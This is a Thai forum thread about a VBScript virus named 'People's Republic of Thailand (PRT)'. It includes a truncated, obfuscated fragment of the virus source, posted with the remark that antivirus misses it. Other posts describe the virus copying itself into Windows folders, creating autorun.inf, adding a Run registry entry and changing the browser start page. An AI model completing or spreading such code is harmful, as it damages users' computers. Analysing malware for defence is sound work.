People's Republic of Thailand (PRT) VBS code

[kenchiro75]

เป็นสคิปอีกตัวที่น่ารำคาญมาก แต่ไม่ค่อยร้ายแรงเท่ากะตระกูล .vbs หลายๆตัว
รู้สึกว่า AV ยังตรวจจับไม่เจอนะ


[hide=50][code]On Error Resume Next: Dim fnugxl3mchmh79cvu2x06fyo, rnugxl3mchmh79cvu2x06fyg, snugxl3mchmh79cvu2x06fyf, onugxl3mchmh79cvu2x06fyl, xnugxl3mchmh79cvu2x06fyi, cnugxl3mchmh79cvu2x06fyr, nnugxl3mchmh79cvu2x06fyw, anugxl3mchmh79cvu2x06fyr, tnugxl3mchmh79cvu2x06fys, cnugxl3mchmh79cvu2x06fyk, rnugxl3mchmh79cvu2x06fyl, gnugxl3mchmh79cvu2x06fyf, cnugxl3mchmh79cvu2x06fyf, fnugxl3mchmh79cvu2x06fyd,rnugxl3mchmh79cvu2x06fym,rnugxl3mchmh79cvu2x06fyn,knugxl3mchmh79cvu2x06fyy,pnugxl3mchmh79cvu2x06fyt: Set fnugxl3mchmh79cvu2x06fyo = CreateObject("Scripting.FileSystemObject"): Set rnugxl3mchmh79cvu2x06fyg = CreateObject("WScript.Shell"): Set snugxl3mchmh79cvu2x06fyf = fnugxl3mchmh79cvu2x06fyo.GetFile(Wscript.ScriptFullname): onugxl3mchmh79cvu2x06fyl = Replace(CStr(fnugxl3mchmh79cvu2x06fyo.GetFileName(Wscript.ScriptFullname)), ".vbs", ""): Randomize: rnugxl3mchmh79cvu2x06fyn

[xecool]

เจอvirus ตัวนี้เมื่อวานเอง น่าจะเป็น virus ที่เขียนขึ้นจาก program พวก virus marker ดูจาก code นะ
มีใครคิดว่ามันเขียนขึ้นจากอย่าอื่นบ้างลองเสนอมาหน่อย อยากรู้

[kenchiro75]

เจอvirus ตัวนี้เมื่อวานเอง น่าจะเป็น virus ที่เขียนขึ้นจาก program พวก virus marker ดูจาก code นะ
มีใครคิดว่ามันเขียนขึ้นจากอย่าอื่นบ้างลองเสนอมาหน่อย อยากรู้[/b]


คิดว่าน่าจะสร้างเอง

การทำงานของไวรัส
มันจะแรนดอมชื่อไฟล์เช่น fnugxl3mchmh79cvu2x06fyo.vbs ยาวมาก ไฟล์จะอยู่ที่c:\windows และ c:\windows\system32
ไวรัสตัวนี้พรางตัวโดยใช้โปรเซสชื่อ wscript.exe
และจะสร้างไฟล์ autorun.inf ขึ้นมา ที่ \Software\Microsoft\Windows\CurrentVersion\Run\
และจะกำหนดค่าที่ HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page เป็น About:People's Republic of Thailand (PRT)

ไวรัสตัวนี้ไม่ค่อยร้ายแรงเท่าไหร่ ไม่รู้ว่าคนทำขึ้นมา มีจุดประสงค์อะไรบางอย่างหรือปล่าว People's Republic of Thailand (PRT) เหมือนจะสร้างคนกลุ่มใหม่ขึ้นมา เหมือนจีนกับ ไต้หวัน หรือปล่าว อันนี้ในความคิดของผมนะ
ไปดีกว่า

ส่วนวิธีแก้

http://www.khonkaentoday.com/forum/viewtopic.php?t=29

[ketcheykung]

ไม่รู้ว่าคนทำขึ้นมา มีจุดประสงค์อะไรบางอย่างหรือปล่าว[/b]คิดเห็นเยี่ยงนั้นเหมือนกันครับแต่ไม่พูดดีกว่า เฮอะๆ แต่ที่โรงเรียนติดกันให้ยุ่บยั่บ =_="
ขอ Source ไปวิเคราะห์ก่อนละกันครับ

ปล.ตู้เย็นที่บ้านไม่แข็งแรงพอ ^^" เลยพูดไม่ได้